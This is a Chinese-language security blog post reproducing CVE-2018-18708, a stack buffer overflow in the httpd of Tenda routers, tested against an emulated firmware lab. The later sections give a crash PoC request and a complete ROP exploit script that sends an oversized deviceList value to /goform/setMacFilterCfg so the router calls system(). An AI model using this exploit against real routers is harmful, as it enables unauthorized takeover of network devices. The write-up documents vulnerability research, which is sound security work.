Oops-re's Blog.

CVE-2018-18708

字数统计: 2.1k阅读时长: 9 min
2023/04/12

CVE-2018-018708复现

参考:

Tenda 路由器栈溢出详细分析(CVE-2018-18708)_黑客技术 (hackdig.com)

相关信息:

NVD - CVE-2018-18708 (nist.gov)

该漏洞是处于httpd服务的缓冲区溢出漏洞,web服务器在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出

第一次分析固件上的漏洞 磕磕绊绊捏Orz

复现思路

通过 ubuntu-qemu 起一个模拟路由的环境 然后通过宿主机对qemu启用的web服务器进行二进制攻击

分析环境

固件服务 httpd(ELF)
调试环境 gdb
静态分析 IDA pro
虚拟环境 ubuntu-qemu

固件模拟

通过qemu模拟运行 测试服务

image-20230410135101186

服务卡顿 没有启动 通过IDA进行patch 修改程序流

通过字符串定位法 来到sub_2E420

image-20230410142756941

看到sleep函数 猜测就是左边的分支导致程序没有正常运行

控制这个分支调跳转的是check_network函数

然后就是另外的ConnectCfm函数 检查网络连接状态

patch了这两个跳转 直接上永真

image-20230410144232329

程序有继续运行 但提示服务连接失败 以及后面的httpd的监听端口有问题(起码应该是个内网IP,字符串引用看一下)

image-20230410144551093

listen_ip = address <==sub_29818.g_lan_ip<==sub_2E420.strcpy(g_lan_ip, s);

还是在sub_2E420函数

1
2
3
4
5
6
7
8
9
10
11
12
13
LanIfName = getLanIfName();//查找网卡名字
if ( getIfIp(LanIfName, v20) < 0 )//根据网卡名字找到IP 如果没有 则将ip设置为lan.ip的地址
{
GetValue("lan.ip", s);
strcpy(g_lan_ip, s);
memset(v17, 0, sizeof(v17));
if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0] )
vos_strcpy(g_lan_ip, v17);
}
else
{
vos_strcpy(g_lan_ip, v20);//有则将找到的IP上监听
}

然后就是看他需要的网卡是哪个 给它配一下

image-20230410155416338

找到调用的链接库libcommon.so

1
2
3
4
int getLanIfName()
{
return get_eth_name(0);
}

这里写死的,然后继续向上找

image-20230410161231242

知道了这里需要的网卡是br0 但是当前我并没有开启网卡br0 所以说 他去监听了广播

动调看一下是不是这个网卡

1
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
1
2
3
4
$ gdb-multiarch
pwndbg> set architecture arm
pwndbg> b *0x0002E6B8
pwndbg> target remote :1234

image-20230411103451995

通过设置虚拟网桥 开启环境

image-20230410163210071

image-20230410163413371

环境搭建成功

漏洞分析

根据官方PoC定位到溢出点

image-20230411113756311

通过引用 回溯 了解调用顺序

要进行这个溢出点 首先要在 a1里有’\r’字符

image-20230411114052857

再往上 这里的a1来自sub_2BA8C的v17 是deviceList字段的值这里面

image-20230411114400271

且最后的值没有进行长度的限制 导致溢出

进行填充 通过strcpy达到栈溢出

这里又存在分支

image-20230411114954145

控控制分支的是sub_C10D0函数

image-20230411115129133

a1是sub_sub_2BA8C获取到的macFilterType字段的值 让为“white”或者“black”可以进入溢出点

(还需要继续往上,直到回溯到sub_2E420函数(main函数))

formSetMacFilterCfg函数 <== sub_42378

image-20230411121058753

该函数中有不同功能的处理函数。请求达到的路径,会调用相应的处理函数,我们需要找到函数formSetMacfiltercfg 的路径。

image-20230411121158213

这sub_179A8函数为websUrlHandlerDefine函数

将/goform设置为websFormHandler路径

/cgi-bin设置为webs_Tenda_CGI_BIN_Handler路径

结合之前的分析

我们要触发formSetMacFilterCfg函数 它请求的路径就应该是“/goform/setMacFilterCfg”

最后 构造包

1
2
3
4
5
6
7
8
import requests

url = "http://172.17.0.222/goform/setMacFilterCfg"
cookie = {"Cookie":"password=quwtgb"}
data = {"macFilterType": "white", "deviceList": "\r"+ "A"*500}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

PoC测试

溢出PoC

测试环境

1
2
3
4
5
6
7
8
9
10
三个终端
1.模拟环境
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
启arm程序的模拟环境 挂载端口1234
2.gdb调试环境
$ gdb-multiarch
pwndbg> set architecture arm
pwndbg> target remote :1234
3.宿主机发PoC包
python req.py

实现溢出

image-20230411113043571

利用

首先 看一下他溢出的堆栈是哪里的

回到溢出点

image-20230411124939884

这里溢出的是上一个函数 也就是sub_C17A0函数传入的image-20230411125033540

他距离返回地址为176+4=180字节的距离 试试 (向deviceList字段写

1
payload = '\r'+'a'*(180-4)+p32(0x12345678)

image-20230411140430173

覆盖成功

接下来就是利用了

利用system函数弹”bin/sh”

和x86汇编不同的是 arm通过寄存器传参 看一下system函数的调用

image-20230411174401666

通过R0存放参数

现在只需要找到能从栈中赋值R0的操作就行

ARM中的栈操作

1
2
3
4
5
6
7
8
9
10
11
12
13
push   {r4, fp, lr}
;从右往左压栈
fp为bp栈底指针
lr存放返回地址
执行该指令 栈帧如下
00:0000│ sp 0xfffef4a4 —▸ 0xff3b8 —▸ 0xff270 ◂— 1
01:0004│ 0xfffef4a8 —▸ 0xfffef5e4 —▸ 0xff5e5ed4 ◂— bl #0xff59f794 栈底指针
02:0008│ 0xfffef4ac —▸ 0x2e834 ◂— mov r3, r0 /* 0xe1a03000 */ 返回地址
03:000c│ 0xfffef4b0 ◂— 0
04:0010│ 0xfffef4b4 ◂— 0
05:0014│ 0xfffef4b8 —▸ 0xfffef674 —▸ 0xfffef785 ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
06:0018│ 0xfffef4bc ◂— 1
07:001c│ 0xfffef4c0 —▸ 0xd004 ◂— cmnvc sb, #116, #6 /* 0x73795374; 'tSysToolDDNS' */
1
2
LDR R1, [SP] ;
相当于 pop R1
1
2
STR R2, [SP, #4] 
相当于 push R2

需要的指令类似于

1
2
mov R0,sp
ret

ARM指令

1
2
pop {R0,sp}
pop {xx,pc}

image-20230411190821961

参考ROP

1
2
3
4
╰─➤  ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc} #gadget1
╰─➤ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3 #gadget2 这里会直接跳转到R3

完整利用exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import requests

#cmd = "echo PWN!"

cmd = b"echo PWN!"
libc_base = 0xff58c000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload = b'a'*176
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://172.17.0.222/goform/setMacFilterCfg"

cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": b"\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

报错 ,但是 确实是有跳到system…QAQ 看其他师傅博客 似乎需要使用系统级进行模拟

qemu-system-arm

系统级qemu模拟 环境准备

参考师傅的 一道工控路由器固件逆向题的WriteUp - 知乎 (zhihu.com)

image-20230412094902373

再次部署环境

配置网卡信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ifconfig ens33 down    # 首先关闭宿主机网卡接口
brctl addbr br0 # 添加一座名为 br0 的网桥
brctl addif br0 ens33 # 在 br0 中添加一个接口
brctl stp br0 on #打开生成树协议
brctl setfd br0 2 # 设置 br0 的转发延迟
brctl sethello br0 1 # 设置 br0 的 hello 时间
ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址

brctl show br0 # 查看虚拟网桥列表
brctl showstp br0 # 查看 br0 的各接口信息

tunctl -t tap0 # 创建一个 tap0 接口
brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
ifconfig tap0 192.168.198.100/24 up #为tap0分配ip地址

brctl showstp br0

拷贝固件

1
scp ubuntu@192.168.198.146:/home/ubuntu/Desktop/squashfs-root.tar.bz2 /root/

挂载文件

1
2
3
$ mount -o bind /dev ./squashfs-root/dev/
$ mount -t proc /proc/ ./squashfs-root/proc/
$ chroot squashfs-root sh # 切换根目录后执行新目录结构下的 sh shell

运行gdbserver

image-20230412134941148

宿主机访问

image-20230412135034354

关闭地址随机化

1
echo 0 > /proc/sys/kernel/randomize_va_space

运行

image-20230412164824025

前面的问题解决辣

就是因为地址随机化没关,虽然每次gdb调的时候它都是不变的,但是在运行的时候,他会发生改变捏。。。QAQ

完整的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import requests

#cmd = "echo PWN!"
s = remote("192.168.198.76",1040,typ="udp")
cmd = b"bin/sh"
libc_base = 0x76dab000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload = b'a'*176
#payload+= str(p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)).encode() + cmd
#payload+= str((p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)),encoding="utf-8") + cmd
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://192.168.198.76/goform/setMacFilterCfg"

cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": b"\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

这里的话,有个想法 就是怎么通过remote传这些参,(毕竟通过interactive比较好获得shell嘛)后续进一步学习吧Orz

参考:

[原创]Tenda 路由器栈溢出详细分析(CVE-2018-18708)-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

CVE-2018-16333:Tenda路由器缓冲区溢出漏洞复现(含qemu调试环境搭建)-安全客 - 安全资讯平台 (anquanke.com)

(34条消息) 【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)_Razors_的博客-CSDN博客

CATALOG
  1. 1. CVE-2018-018708复现
    1. 1.1. 复现思路
    2. 1.2. 分析环境
      1. 1.2.1. 固件模拟
      2. 1.2.2. 漏洞分析
      3. 1.2.3. PoC测试
      4. 1.2.4. 利用
        1. 1.2.4.1. ARM中的栈操作
        2. 1.2.4.2. qemu-system-arm